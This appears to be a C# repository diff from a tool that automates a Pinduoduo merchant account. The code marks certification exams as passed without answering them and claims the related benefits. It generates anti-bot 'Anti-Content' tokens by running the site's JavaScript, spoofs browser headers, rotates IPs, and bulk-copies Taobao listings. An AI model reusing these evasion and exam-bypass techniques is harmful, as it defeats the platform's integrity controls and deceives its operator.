data = "{\"qualificationId\":"+rowindex+"}";
html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data, cookies);
Thread.Sleep(200);
url = "https://mms.pinduoduo.com/rivendell/api/questionnaire/updateReadRecord";
refere = "https://mms.pinduoduo.com/mallcenter/ability/exam/"+ colindex;
data = "{\"questionnaireId\":"+ colindex + "}";
html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data, cookies);
if (html.Contains("\"success\":true"))
{
ShopQuestion sq = new ShopQuestion();
sq.Shop = Shop;
sq.status = "已通过";
AutoQuestion.ShopQuestionList.Add(sq);
LogSave.Add(Name, RetResult(colindex));
}
}
public void SetAllQuestion()
{
satusList.Clear();
string urlx = "https://mms.pinduoduo.com/rivendell/api/qualification/getQualificationList";
string referex = "https://mms.pinduoduo.com/mallcenter/ability/index";
string datax = "{}";
string htmlx = GetPostTaobaoHtml.UploadTaobaoPost(urlx, referex, true, datax, Shop.Cookies);
var m = BaseRegex.GetMatchRegex(ref htmlx, @"{""questionnaireId"":[^}]+?}");
for (int j = 0; m != null && j < m.Count; j++)
{
string item = m[j].Groups[0].Value;
int questionnaireId = BaseRegex.GetIntJson(ref item, "questionnaireId");
int finished = BaseRegex.GetIntJson(ref item, "finished");
QuestionKeyValue qk = new QuestionKeyValue();
qk.key = questionnaireId;
qk.value = finished;
satusList.Add(qk);
}
string cookies = Shop.Cookies;
for (int i =1; i < 5; i++)
{
for (int j = 1; j < 5; j++)
{
rowindex = i;
colindex = j + 4 * (i - 1);
var staval = satusList.Find(sa => sa.key == colindex);
if (staval.value==1)
{
string result = RetResult(colindex, "已通过,考试无需再考");
ShopQuestion sq = new ShopQuestion();
sq.Shop = Shop;
sq.status = result;
AutoQuestion.ShopQuestionList.Add(sq);
LogSave.Add(Name, RetResult(colindex));
continue;
}
string url = "https://mms.pinduoduo.com/rivendell/api/questionnaire/getQuestionnaireDetail";
string refere = "https://mms.pinduoduo.com/mallcenter/ability/exam/" + colindex;
string data = "{\"questionnaireId\":" + colindex + "}";
string html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data, cookies);
Thread.Sleep(200);
url = "https://mms.pinduoduo.com/rivendell/api/qualification/detail";
refere = "https://mms.pinduoduo.com/mallcenter/ability/exam/" + colindex;
data = "{\"qualificationId\":" + rowindex + "}";
html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data, cookies);
Thread.Sleep(200);
url = "https://mms.pinduoduo.com/rivendell/api/questionnaire/updateReadRecord";
refere = "https://mms.pinduoduo.com/mallcenter/ability/exam/" + colindex;
data = "{\"questionnaireId\":" + colindex + "}";
html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data, cookies);
if (html.Contains("\"success\":true"))
{
string result = RetResult(colindex);
//ShopQuestion sq = new ShopQuestion();
//sq.Shop = Shop;
//sq.status = result;
//AutoQuestion.ShopQuestionList.Add(sq);
LogSave.Add(Name, result);
}
int randx = new Random(Guid.NewGuid().GetHashCode()).Next(1, 5);
Thread.Sleep(randx);
}
}
QueryStatusQuestion();
}
public void QueryStatusQuestion()
{
satusList.Clear();
string url = "https://mms.pinduoduo.com/rivendell/api/qualification/getQualificationList";
string refere = "https://mms.pinduoduo.com/mallcenter/ability/index";
string data = "{}";
string html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data, Shop.Cookies);
var m = BaseRegex.GetMatchRegex(ref html, @"{""questionnaireId"":[^}]+?}");
for (int j = 0; m != null && j < m.Count; j++)
{
string item = m[j].Groups[0].Value;
int questionnaireId = BaseRegex.GetIntJson(ref item, "questionnaireId");
int finished = BaseRegex.GetIntJson(ref item, "finished");
QuestionKeyValue qk = new QuestionKeyValue();
qk.key = questionnaireId;
qk.value = finished;
satusList.Add(qk);
}
var p = satusList.Find(s=>s.value==0);
if (p != null)
{
ShopQuestion sq = new ShopQuestion();
sq.Shop = Shop;
sq.status = "答题部分失败";
AutoQuestion.ShopQuestionList.Add(sq);
}
else
{
ShopQuestion sq = new ShopQuestion();
sq.Shop = Shop;
sq.status = "答题全部成功";
AutoQuestion.ShopQuestionList.Add(sq);
}
}
public void SetAllEquity()
{
satusList.Clear();
string urlx = "https://mms.pinduoduo.com/rivendell/api/qualification/getQualificationList";
string referex = "https://mms.pinduoduo.com/mallcenter/ability/index";
string datax = "{}";
string htmlx = GetPostTaobaoHtml.UploadTaobaoPost(urlx, referex, true, datax, Shop.Cookies);
var m = BaseRegex.GetMatchRegex(ref htmlx, @"{""questionnaireId"":[^}]+?}");
for (int j = 0; m != null && j < m.Count; j++)
{
string item = m[j].Groups[0].Value;
int questionnaireId = BaseRegex.GetIntJson(ref item, "questionnaireId");
int finished = BaseRegex.GetIntJson(ref item, "finished");
QuestionKeyValue qk = new QuestionKeyValue();
qk.key = questionnaireId;
qk.value = finished;
satusList.Add(qk);
}
string cookies = Shop.Cookies;
for (int i = 1; i < 5; i++)
{
rowindex = i;
if (satusList[4 * i - 4].value != 1 || satusList[4 * i - 3].value != 1 || satusList[4 * i - 2].value != 1 || satusList[4 * i-1].value != 1)
continue;
string url = "https://mms.pinduoduo.com/rivendell/api/qualification/receiveBenefits";
string refere = "https://mms.pinduoduo.com/mallcenter/ability/index";
string data = "{\"qualificationId\":" + rowindex + "}";
string html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data, cookies);
LogSave.Add(Name, RetResultEqu(i));
int randx = new Random(Guid.NewGuid().GetHashCode()).Next(1, 5);
Thread.Sleep(randx);
}
QueryQuestion(1);
}
public void SetSingleEquity()
{
satusList.Clear();
string urlx = "https://mms.pinduoduo.com/rivendell/api/qualification/getQualificationList";
string referex = "https://mms.pinduoduo.com/mallcenter/ability/index";
string datax = "{}";
string htmlx = GetPostTaobaoHtml.UploadTaobaoPost(urlx, referex, true, datax, Shop.Cookies);
var m = BaseRegex.GetMatchRegex(ref htmlx, @"{""questionnaireId"":[^}]+?}");
for (int j = 0; m != null && j < m.Count; j++)
{
string item = m[j].Groups[0].Value;
int questionnaireId = BaseRegex.GetIntJson(ref item, "questionnaireId");
int finished = BaseRegex.GetIntJson(ref item, "finished");
QuestionKeyValue qk = new QuestionKeyValue();
qk.key = questionnaireId;
qk.value = finished;
satusList.Add(qk);
}
string cookies = Shop.Cookies;
if (satusList[4 * rowindex - 4].value != 1 || satusList[4 * rowindex - 3].value != 1 || satusList[4 * rowindex - 2].value != 1 || satusList[4 * rowindex - 1].value != 1)
return;
string url = "https://mms.pinduoduo.com/rivendell/api/qualification/receiveBenefits";
string refere = "https://mms.pinduoduo.com/mallcenter/ability/index";
string data = "{\"qualificationId\":" + rowindex + "}";
string html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data, cookies);
LogSave.Add(Name, RetResultEqu(rowindex));
QueryQuestion(1);
int randx = new Random(Guid.NewGuid().GetHashCode()).Next(1, 5);
Thread.Sleep(randx);
}
public string RetResultEqu(int col, string str = "已领取权益")
{
string result = "";
switch (col)
{
case 1:
result = "基础经营能力认证,";
break;
case 2:
result = "高级经营能力认证,";
break;
case 3:
result = "推广能力认证,";
break;
case 4:
result = "活动能力认证,";
break;
}
return Shop.ShopName + ":" + result + str;
}
public string RetResult(int col,string str= "已通过")
{
string result = "";
switch(col)
{
case 1:
result = "基础经营能力认证,试题Ⅰ:新商家入驻";
break;
case 2:
result = "基础经营能力认证,试题Ⅱ:平台规则";
break;
case 3:
result = "基础经营能力认证,试题Ⅲ:商品设置、店铺运营";
break;
case 4:
result = "基础经营能力认证,试题Ⅳ:客户服务";
break;
case 5:
result = "高级经营能力认证,试题Ⅰ:店铺管理";
break;
case 6:
result = "高级经营能力认证,试题Ⅱ:商品管理";
break;
case 7:
result = "高级经营能力认证,试题Ⅲ:订单管理";
break;
case 8:
result = "高级经营能力认证,试题Ⅳ:售后管理";
break;
case 9:
result = "推广能力认证,试题Ⅰ:营销推广入门";
break;
case 10:
result = "推广能力认证,试题Ⅱ:营销推广基础";
break;
case 11:
result = "推广能力认证,试题Ⅲ:营销推广进阶";
break;
case 12:
result = "推广能力认证,试题Ⅳ:多多进宝";
break;
case 13:
result = "活动能力认证,试题Ⅰ:秒杀活动";
break;
case 14:
result = "活动能力认证,试题Ⅱ:领券中心";
break;
case 15:
result = "活动能力认证,试题Ⅲ:竞价";
break;
case 16:
result = "活动能力认证,试题Ⅳ:报名活动注意事项";
break;
}
return Shop.ShopName+":"+result+ str;
}
}
public class ShopQuestion
{
public ShopChatBase Shop;
public string status;
public List<QuestionKeyValue> satusList = new List<QuestionKeyValue>();
}
public class QuestionKeyValue
{
public int key;
public int value;
}
}
File diff suppressed because it is too large. Load diff
+180
View File
@@ -0,0 +1,180 @@
/*
* 纯API设置进宝
* 肖俊
* 2019-7-31
*/
using System;
using System.Collections.Generic;
using System.IO;
using System.IO.Compression;
using System.Linq;
using System.Management.Instrumentation;
using System.Net;
using System.Runtime.CompilerServices;
using System.Text;
using System.Threading;
using AllBase;
using JavaScriptEngineSwitcher.Core;
using JavaScriptEngineSwitcher.V8;
using Work.Api;
using Work.CollectClass;
namespace Work.ManageClass
{
public class CpsShopNew
{
public static string Name;
public static List<ShopChatBase> ShopTemp = new List<ShopChatBase>();
public static int ThreadCount = 3;
public static bool IsUseProxy = false;
public static bool IsdayProduct = false;
public static int dayProduct = 0;
/// <summary>
/// 是否正在模拟请求并休眠,如果是,将在SleepSim方法中继续休眠,拉开模拟请求间隔
/// </summary>
private static bool isSleepSim = false;
public static bool ByCouponPercent = false;
public static int ShopPerCent = 0, ShopPercentAll = 0,
CouponAllCount = 0,
CouponCount = 0,
ConponDays = 0,
SalsPrice1 = 0,
SalsPrice11 = 0,
CouponPrice1 = 0,
SalsPrice2 = 0,
SalsPrice22 = 0,
CouponPrice2 = 0,
SalsPrice3 = 0,
SalsPrice33 = 0,
CouponPrice3 = 0, CouponPercent = 0;
}
public class CpsSetAllGoods
{
public static int discount;
public static int day;
public static int initQuantity;
public static int userLimit;
public static int Amount;
public static string adslName;
public static string adslPassWord;
public static bool adslflag = false;
public static List<CpsPriceRangeCoup> cpsPriceRangeCoupList = new List<CpsPriceRangeCoup>();
public static bool isStop = false;
private AdslHelper adsl = null;
private DateTime lasttime = DateTime.MinValue;
public static string getAnti0aon()
{
string anti = "";
using (IJsEngine jsEngine = new V8JsEngine())
{
jsEngine.Execute(GetProductOnlineClass.PinDuoDUo_0ao);
anti = jsEngine.CallFunction("get_anti", "").ToString();
try
{ anti = "0ao" + anti.Substring(3); }
catch { }
}
return anti;
}
public static string Request_mms_pinduoduo_com(string url, string referer, string cookie, string data, string antiContent, IWebProxy proxy = null)
{
string responseText = "";
HttpWebResponse response = null;
try
{
//HttpWebRequest request = (HttpWebRequest)WebRequest.Create("https://mms.pinduoduo.com/cps/api/coupon/createCommonCoupon");
HttpWebRequest request = (HttpWebRequest)WebRequest.Create(url);
request.KeepAlive = true;
request.Accept = "application/json";
//request.Headers.Add("Anti-Content", @"0aoAfxnUgOQoU9dVEHIuLKYezEfQ51QpOcKVg_S0aww9S8dseM_tTxYptgFssmH7wfRCpRvfISyXp-bZ8hcq7ux0Z1kvhFUkfIMk7EsEefUAZS7Jv1vYHm1Cplb4GZ43dSFtKu19dO7snIyL-VRj0JFy0ETKDkf1EdaPbWEu22sZ4s1duGD6WO9lgeS-oTsEwwa9ohcX2E_DG2PggPHqIuxcN_tIthAewaqklSPvPmFwzYxrlo256wd2i74SMvTzGTB--UkZ3gPl5t6K-6IVCz1MDD7WDS9HeoGm4RBmyd0LIpXG400lOfKBvPh-z09PL3_hjiL1KiBCENrs1ANosN35LJ8zhlCRi0YrDxphd8LGJFWDG0LrARGRuMW7d3d4IlWlEKFFMiucGGNlIZqDyExDIMny-8T-KY8fJ8BnNuzWyr");
request.Headers.Add("Anti-Content", antiContent);
//request.UserAgent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36";
request.UserAgent = BaseClass.ChromeUserAgent;
request.ContentType = "application/json;charset=UTF-8";
request.Headers.Add("Origin", @"https://mms.pinduoduo.com");
request.Headers.Add("Sec-Fetch-Site", @"same-origin");
request.Headers.Add("Sec-Fetch-Mode", @"cors");
request.Headers.Add("Sec-Fetch-Dest", @"empty");
request.Referer = referer;
request.Headers.Set(HttpRequestHeader.AcceptEncoding, "gzip, deflate, br");
request.Headers.Set(HttpRequestHeader.AcceptLanguage, "zh-CN,zh;q=0.9");
request.Headers.Set(HttpRequestHeader.Cookie, cookie);
if (proxy != null)
request.Proxy = proxy;
request.Method = "POST";
request.ServicePoint.Expect100Continue = false;
string body = data;
byte[] postBytes = System.Text.Encoding.UTF8.GetBytes(body);
request.ContentLength = postBytes.Length;
Stream stream = request.GetRequestStream();
stream.Write(postBytes, 0, postBytes.Length);
stream.Close();
response = (HttpWebResponse)request.GetResponse();
}
catch (WebException e)
{
if (e.Status == WebExceptionStatus.ProtocolError) response = (HttpWebResponse)e.Response;
else responseText = "error," + e.Message;
}
catch (Exception ex)
{
responseText = "error," + ex.Message;
}
if (response != null)
{
if (string.IsNullOrEmpty(responseText))
responseText = ReadResponse(response);
response.Close();
}
Thread.Sleep(50 + Randomx.GetId(100));
return responseText;
}
/// <summary>
/// 读取返回值
/// </summary>
/// <param name="response"></param>
/// <returns></returns>
public static string ReadResponse(HttpWebResponse response)
{
using (Stream responseStream = response.GetResponseStream())
{
Stream streamToRead = responseStream;
if (response.ContentEncoding.ToLower().Contains("gzip"))
{
streamToRead = new GZipStream(streamToRead, CompressionMode.Decompress);
}
else if (response.ContentEncoding.ToLower().Contains("deflate"))
{
streamToRead = new DeflateStream(streamToRead, CompressionMode.Decompress);
}
using (StreamReader streamReader = new StreamReader(streamToRead, Encoding.UTF8))
{
return streamReader.ReadToEnd();
}
}
}
}
public class CpsPriceRangeCoup
{
public int MinPrice = 0;
public int MaxPrice = 0;
public int CoupPrice = 0;
}
}
+27
View File
@@ -0,0 +1,27 @@
using System;
using System.Collections.Generic;
using System.Threading;
using AllBase;
using Work.Api;
using Work.CollectClass;
namespace Work.ManageClass
{
public class ShopSingleUpload
{
public string Name;
public ShopChatBase Shop;
public List<TaobaoProductBase> Product = new List<TaobaoProductBase>();
public static bool TaobaoData = false, PinduoduoData = false, Sleep = false, NoSamePid = false, CreateNew = false, NoSoled = false;
public static int VisitMax = 0;
public static List<string> NoKeywords = new List<string>();
public static List<string> HadShops = new List<string>();
public static Dictionary<string, List<TaobaoProductBase>> ShopProductTemp = new Dictionary<string, List<TaobaoProductBase>>();
public static Dictionary<string, List<TaobaoProductBase>> FissionTemp = new Dictionary<string, List<TaobaoProductBase>>();
public ShopSingleUpload(string name, ShopChatBase shop)
{
Name = name;
Shop = shop;
}
}
}
+938
View File
@@ -0,0 +1,938 @@
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading;
using System.Threading.Tasks;
using AllBase;
using Work.Api;
using Work.CollectClass;
namespace Work.ManageClass
{
public class UpPinduoduoProduct
{
public static string ExpressId = "";
public static int NoReplaceDay = 0;
public static int LimitBuy, GroupCount, LimitBuyTimes, AddPercent, AddPrice, SingleBuyAddPrice, BaseBuy, BaseBuyAdd, ThreadCount;
public static bool RandAddPrice = false, CatSame = false, NoReplaceDays = false;
public static Dictionary<long, DateTime> EditDayTemp = new Dictionary<long, DateTime>();
public static Dictionary<int, Dictionary<string, PinduoduoPropBase>> PinduoduoProp = new Dictionary<int, Dictionary<string, PinduoduoPropBase>>();
public static string Name;
public static List<TaobaoProductBase> ProductTemp = new List<TaobaoProductBase>();
public UpPinduoduoProduct(ShopChatBase shop,string name)
{
Shop = shop;
Name = name;
}
public UpPinduoduoProduct()
{
}
public ShopChatBase Shop = null;
/// <summary>
/// 初始化属性名称
/// </summary>
public void IniProp(int mainCatId, string cookies)
{
if (PinduoduoProp.ContainsKey(mainCatId) && PinduoduoProp[mainCatId].Count > 0)
return;
Dictionary<string, PinduoduoPropBase> props = new Dictionary<string, PinduoduoPropBase>();
PinduoduoApiPropId p = new PinduoduoApiPropId(Shop);
string html = p.Get(mainCatId);
var mm = BaseRegex.GetMatchRegex(ref html,
@"\{""parent_spec_id"":([\d]+),""cat_id"":[\d]+,""parent_spec_name"":""([^""]+?)""");
for (int j = 0; mm != null && j < mm.Count; j++)
{
PinduoduoPropBase pp = new PinduoduoPropBase();
pp.Name = mm[j].Groups[2].Value;
pp.Id = mm[j].Groups[1].Value;
try
{
props.Add(pp.Name, pp);
}
catch
{
}
}
try
{
if (props.Count > 0)
PinduoduoProp.Add(mainCatId, props);
}
catch(Exception ex)
{
}
if (props.Count > 0)
return;
string url = "https://mms.pinduoduo.com/glide/v2/mms/query/spec/name/list";
string refere = "https://mms.pinduoduo.com/Pdd.html";
string data = "{}";
html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data, cookies);
if (!string.IsNullOrEmpty(html) && html.Contains("过于频繁"))
{
Thread.Sleep(30 * 1000);
html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data, cookies);
}
if (!string.IsNullOrEmpty(html) && html.Contains("过于频繁"))
{
Thread.Sleep(30 * 1000);
html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data, cookies);
}
if (!string.IsNullOrEmpty(html) && html.Contains("过于频繁"))
{
//MessageBox.Show("请不要单个店铺同时开多个软件上传\r\n请调整", "提示");
Thread.Sleep(60 * 1000);
html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data, cookies);
}
if (!string.IsNullOrEmpty(html) && html.Contains("过于频繁"))
{
Thread.Sleep(60 * 1000);
html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data, cookies);
}
var m = BaseRegex.GetMatchRegex(ref html, @"""value"":""(.*?)""");
for (int j = 0; m != null && j < m.Count; j++)
{
PinduoduoPropBase pp = new PinduoduoPropBase();
pp.Name = m[j].Groups[1].Value;
try
{
if (!props.ContainsKey(pp.Name))
props.Add(pp.Name, pp);
}
catch
{
}
}
try
{
PinduoduoProp.Add(mainCatId, props);
}
catch
{
}
}
/// <summary>
/// 自动给无图片的SKU识别对应的图片
/// </summary>
/// <param name="p"></param>
public void BuildSkuMapProps(ref ProductCollectBase p)
{
if (p.Props.Count == 0)
{
return;
}
string cookies = Shop.Cookies;
int mainCatId = Shop.MainCatId;
int maxImageCut = 0, maxImageCount = 0;
for (int i = 0; i < p.Props.Count; i++)
{
//if (p.Props[i].Values.Count <= 1 && p.from == "淘宝"&&p.cat_id != 3109)//只有一个属性的删除
//{
// p.Props.RemoveAt(i);
// i--;
// continue;
//}
for (int j = 0; j < p.Props[i].Values.Count; j++)
{
if ( p.Props[i].Values[j].name.Contains("代理"))
p.Props[i].Values.RemoveAt(j);
continue;
}
int imageCount = 0;
for (int j = 0; j < p.Props[i].Values.Count; j++)
{
if (!string.IsNullOrEmpty(p.Props[i].Values[j].image))
imageCount++;
}
if (imageCount > maxImageCount)
{
maxImageCount = imageCount;
maxImageCut = i;
}
}
if (p.Props.Count == 0)
{
return;
}
string[] l = @"客服
QQ
定制品
定制
定金
差价
限量
联系
VX
抽奖
留言
明式
四季
特价
专拍
补差
尺寸
价格
客服
运费到付
发货
直接拍
运费险
团购
".Split('\n');
for (int i = 0; i < p.SkuMaps.Count; i++)
{
if (!string.IsNullOrEmpty(p.SkuMaps[i].prop_image))
{
foreach (string s in l)
{
if (string.IsNullOrEmpty(s))
continue;
string m = s.Trim();
BaseRegex.Relpace(ref p.SkuMaps[i].name, m, "");
}
continue;
}
for (int j = 0; j < p.Props[maxImageCut].Values.Count; j++)
{
if (p.SkuMaps[i].name.Contains(p.Props[maxImageCut].Values[j].name))
{
p.SkuMaps[i].prop_image = p.Props[maxImageCut].Values[j].image;
break;
}
}
foreach (string s in l)
{
if (string.IsNullOrEmpty(s))
continue;
string m = s.Trim();
BaseRegex.Relpace(ref p.SkuMaps[i].name, m, "");
}
}
int cut = 0;
for (int i = 0; i < p.SkuMaps.Count; i++)
{
if (!string.IsNullOrEmpty(p.SkuMaps[i].prop_image))
continue;
p.SkuMaps[i].prop_image = p.Images[cut];
cut++;
if (cut >= p.Images.Count)
cut = 0;
}
if (p.Props.Count > 2 && p.from == "淘宝")//两个属性以上,去掉一个
{
int minCount = 100, minCut = -1;
for (int i = 0; i < p.Props.Count; i++)
{
if (p.Props[i].Values.Count < minCount && string.IsNullOrEmpty(p.Props[i].Values[0].image))
{
minCount = p.Props[i].Values.Count;
minCut = i;
}
}
if (minCut > -1)
{
p.Props.RemoveAt(minCut);
}
}
int cutId = 0;
PinduoduoPropBase first = new PinduoduoPropBase();
PinduoduoPropBase second = new PinduoduoPropBase();
if (!PinduoduoProp.ContainsKey(mainCatId))
{
LogSave.Add(Name, "分类初始化异常,请重新打开软件");
return;
}
for (int j = 0; j < p.Props.Count; j++)
{
foreach (KeyValuePair<string, PinduoduoPropBase> pb in PinduoduoProp[mainCatId])
{
if (cutId == 0)
first = pb.Value;
if (cutId == 1)
second = pb.Value;
if (pb.Key == p.Props[j].name)
{
p.Props[j].pinduoduo_name = pb.Key;
if (p.cat_id != 3109 || (p.cat_id == 3109 && p.Props[j].pinduoduo_name != "容量"))
p.Props[j].pinduoduo_id = pb.Value.Id;
break;
}
cutId++;
}
}
for (int j = 0; j < p.Props.Count; j++)
{
foreach (KeyValuePair<string, PinduoduoPropBase> pb in PinduoduoProp[mainCatId])
{
if (string.IsNullOrEmpty(p.Props[j].pinduoduo_name) && p.Props[j].name.Contains(pb.Key))
{
p.Props[j].pinduoduo_name = pb.Key;
if (p.cat_id != 3109||(p.cat_id == 3109 && p.Props[j].pinduoduo_name!="容量"))
p.Props[j].pinduoduo_id = pb.Value.Id;
break;
}
}
}
if (p.Props.Count == 1 && string.IsNullOrEmpty(p.Props[0].pinduoduo_name))
{
p.Props[0].pinduoduo_name = first.Name;
p.Props[0].pinduoduo_id = first.Id;
}
else if (p.Props.Count == 2)
{
if (string.IsNullOrEmpty(p.Props[0].pinduoduo_name) &&
string.IsNullOrEmpty(p.Props[1].pinduoduo_name))
{
p.Props[0].pinduoduo_name = first.Name;
p.Props[0].pinduoduo_id = first.Id;
p.Props[1].pinduoduo_name = second.Name;
p.Props[1].pinduoduo_id = second.Id;
}
else if (string.IsNullOrEmpty(p.Props[0].pinduoduo_name))
{
if (p.Props[1].pinduoduo_name == first.Name)
{
p.Props[0].pinduoduo_name = second.Name;
p.Props[0].pinduoduo_id = second.Id;
}
else
{
p.Props[0].pinduoduo_name = first.Name;
p.Props[0].pinduoduo_id = first.Id;
}
}
else if (string.IsNullOrEmpty(p.Props[1].pinduoduo_name))
{
if (p.Props[0].pinduoduo_name == first.Name)
{
p.Props[1].pinduoduo_name = second.Name;
p.Props[1].pinduoduo_id = second.Id;
}
else
{
p.Props[1].pinduoduo_name = first.Name;
p.Props[1].pinduoduo_id = first.Id;
}
}
}
for (int i = 0; i < p.Props.Count; i++)
{
if (p.cat3 == 3109 && p.Props[i].name.Contains("容量"))
continue;
string refere = "https://mms.pinduoduo.com/Pdd.html";
if (string.IsNullOrEmpty(p.Props[i].pinduoduo_id) || p.Props[i].pinduoduo_id == "0")
{
string url = "https://mms.pinduoduo.com/glide/v2/mms/query/spec/by/name";
string data = "{\"parent_id\":0,\"name\":\"" + p.Props[i].pinduoduo_name + "\"}";
string html = GetPostTaobaoHtml.GetJsonPost(url, refere, true, data, cookies);
string id = BaseRegex.GetLongJson(ref html, "result").ToString();
if (id == "0")
{
Thread.Sleep(1000);
html = GetPostTaobaoHtml.GetJsonPost(url, refere, true, data, cookies);
id = BaseRegex.GetLongJson(ref html, "spec_id").ToString();
}
if (id == "0")
{
LogSave.Add(Name, "获取类别ID异常:" + p.Props[i].pinduoduo_name);
continue;
}
if (PinduoduoProp[mainCatId].ContainsKey(p.Props[i].pinduoduo_name))
PinduoduoProp[mainCatId][p.Props[i].pinduoduo_name].Id = id;
p.Props[i].pinduoduo_id = id;
}
for (int j = 0; j < p.Props[i].Values.Count; j++)
{
//if (p.from_site_id == 1 && j > 12 && p.Props[i].Values.Count > 12)//属性元素超过15个的就丢弃
//{
// p.Props[i].Values.RemoveAt(j);
// j--;
// continue;
//}
foreach (string s in l)
{
if (string.IsNullOrEmpty(s))
continue;
string m = s.Trim();
BaseRegex.Relpace(ref p.Props[i].Values[j].name, m, "");
}
if (PinduoduoProp[mainCatId].ContainsKey(p.Props[i].pinduoduo_name) &&
PinduoduoProp[mainCatId][p.Props[i].pinduoduo_name].Values.ContainsKey(p.Props[i].Values[j].name))
{
p.Props[i].Values[j].id =
PinduoduoProp[mainCatId][p.Props[i].pinduoduo_name].Values[p.Props[i].Values[j].name].ToString();
continue;
}
string html, propvid="";
if (BaseClass.UseApiFirst)
{
PinduoduoApiPropId api = new PinduoduoApiPropId(Shop);
html = api.GetPropId(p.Props[i].pinduoduo_id, p.Props[i].Values[j].name);
propvid = BaseRegex.GetStringJson(ref html, "spec_id");
if (string.IsNullOrEmpty(propvid))
{
string url = "https://mms.pinduoduo.com/glide/v2/mms/query/spec/by/name";
string data = "{\"parent_id\":" + p.Props[i].pinduoduo_id + ",\"name\":\"" +
p.Props[i].Values[j].name + "\"}";
html = GetPostTaobaoHtml.GetJsonPost(url, refere, true, data, cookies);
propvid = BaseRegex.GetStringJson(ref html, "result");
if (string.IsNullOrEmpty(propvid))
{
Thread.Sleep(1000);
html = GetPostTaobaoHtml.GetJsonPost(url, refere, true, data, cookies);
propvid = BaseRegex.GetStringJson(ref html, "result");
}
}
}
else
{
string url = "https://mms.pinduoduo.com/glide/v2/mms/query/spec/by/name";
string data = "{\"parent_id\":" + p.Props[i].pinduoduo_id + ",\"name\":\"" + p.Props[i].Values[j].name + "\"}";
html = GetPostTaobaoHtml.GetJsonPost(url, refere, true, data, cookies);
if(html.Contains("规格名称字数过长"))
{
string title = p.Props[i].Values[j].name;
if (BaseClass.GetCharLength(title) > 30)
title = BaseClass.SubCharLength(title, 30);
data = "{\"parent_id\":" + p.Props[i].pinduoduo_id + ",\"name\":\"" + title + "\"}";
html = GetPostTaobaoHtml.GetJsonPost(url, refere, true, data, cookies);
}
propvid = BaseRegex.GetStringJson(ref html, "result");
if (string.IsNullOrEmpty(propvid))
{
Thread.Sleep(1000);
html = GetPostTaobaoHtml.GetJsonPost(url, refere, true, data, cookies);
propvid = BaseRegex.GetStringJson(ref html, "result");
}
if (string.IsNullOrEmpty(propvid))
{
PinduoduoApiPropId api = new PinduoduoApiPropId(Shop);
html = api.GetPropId(p.Props[i].pinduoduo_id, p.Props[i].Values[j].name);
propvid = BaseRegex.GetStringJson(ref html, "spec_id");
}
}
if (string.IsNullOrEmpty(propvid))
{
p.Props[i].Values.RemoveAt(j);
j--;
continue;
}
p.Props[i].Values[j].id = propvid;
try
{
PinduoduoProp[mainCatId][p.Props[i].pinduoduo_name].Values.Add(p.Props[i].Values[j].name, long.Parse(p.Props[i].Values[j].id));
}
catch
{
}
}
}
}
public void BuildSkuMapProps(ref ProductCollectBase prod, string cookies, int mainCatId)
{
if (prod.Props.Count == 0)
{
return;
}
int maxImageCut = 0, maxImageCount = 0;
for (int i = 0; i < prod.Props.Count; i++)
{
if (prod.Props[i].Values.Count <= 1 && prod.from == "淘宝")//只有一个属性的删除
{
prod.Props.RemoveAt(i);
i--;
continue;
}
int imageCount = 0;
for (int j = 0; j < prod.Props[i].Values.Count; j++)
{
if (!string.IsNullOrEmpty(prod.Props[i].Values[j].image))
imageCount++;
}
if (imageCount > maxImageCount)
{
maxImageCount = imageCount;
maxImageCut = i;
}
}
if (prod.Props.Count == 0)
{
return;
}
for (int i = 0; i < prod.SkuMaps.Count; i++)
{
if (!string.IsNullOrEmpty(prod.SkuMaps[i].prop_image))
continue;
for (int j = 0; j < prod.Props[maxImageCut].Values.Count; j++)
{
if (prod.SkuMaps[i].name.Contains(prod.Props[maxImageCut].Values[j].name))
{
prod.SkuMaps[i].prop_image = prod.Props[maxImageCut].Values[j].image;
break;
}
}
}
int cut = 0;
for (int i = 0; i < prod.SkuMaps.Count; i++)
{
if (!string.IsNullOrEmpty(prod.SkuMaps[i].prop_image))
continue;
prod.SkuMaps[i].prop_image = prod.Images[cut];
cut++;
if (cut >= prod.Images.Count)
cut = 0;
}
if (prod.Props.Count > 2 && prod.from == "淘宝")//两个属性以上,去掉一个
{
int minCount = 100, minCut = -1;
for (int i = 0; i < prod.Props.Count; i++)
{
if (prod.Props[i].Values.Count < minCount && string.IsNullOrEmpty(prod.Props[i].Values[0].image))
{
minCount = prod.Props[i].Values.Count;
minCut = i;
}
}
if (minCut > -1)
{
prod.Props.RemoveAt(minCut);
}
}
int cutId = 0;
PinduoduoPropBase first = new PinduoduoPropBase();
PinduoduoPropBase second = new PinduoduoPropBase();
if (!PinduoduoProp.ContainsKey(mainCatId))
{
LogSave.Add(Name, "分类初始化异常,请重新打开软件");
return;
}
for (int j = 0; j < prod.Props.Count; j++)
{
foreach (KeyValuePair<string, PinduoduoPropBase> pb in PinduoduoProp[mainCatId])
{
if (cutId == 0)
first = pb.Value;
if (cutId == 1)
second = pb.Value;
if (pb.Key == prod.Props[j].name)
{
prod.Props[j].pinduoduo_name = pb.Key;
prod.Props[j].pinduoduo_id = pb.Value.Id;
break;
}
cutId++;
}
}
for (int j = 0; j < prod.Props.Count; j++)
{
foreach (KeyValuePair<string, PinduoduoPropBase> pb in PinduoduoProp[mainCatId])
{
if (string.IsNullOrEmpty(prod.Props[j].pinduoduo_name) && prod.Props[j].name.Contains(pb.Key))
{
prod.Props[j].pinduoduo_name = pb.Key;
prod.Props[j].pinduoduo_id = pb.Value.Id;
break;
}
}
}
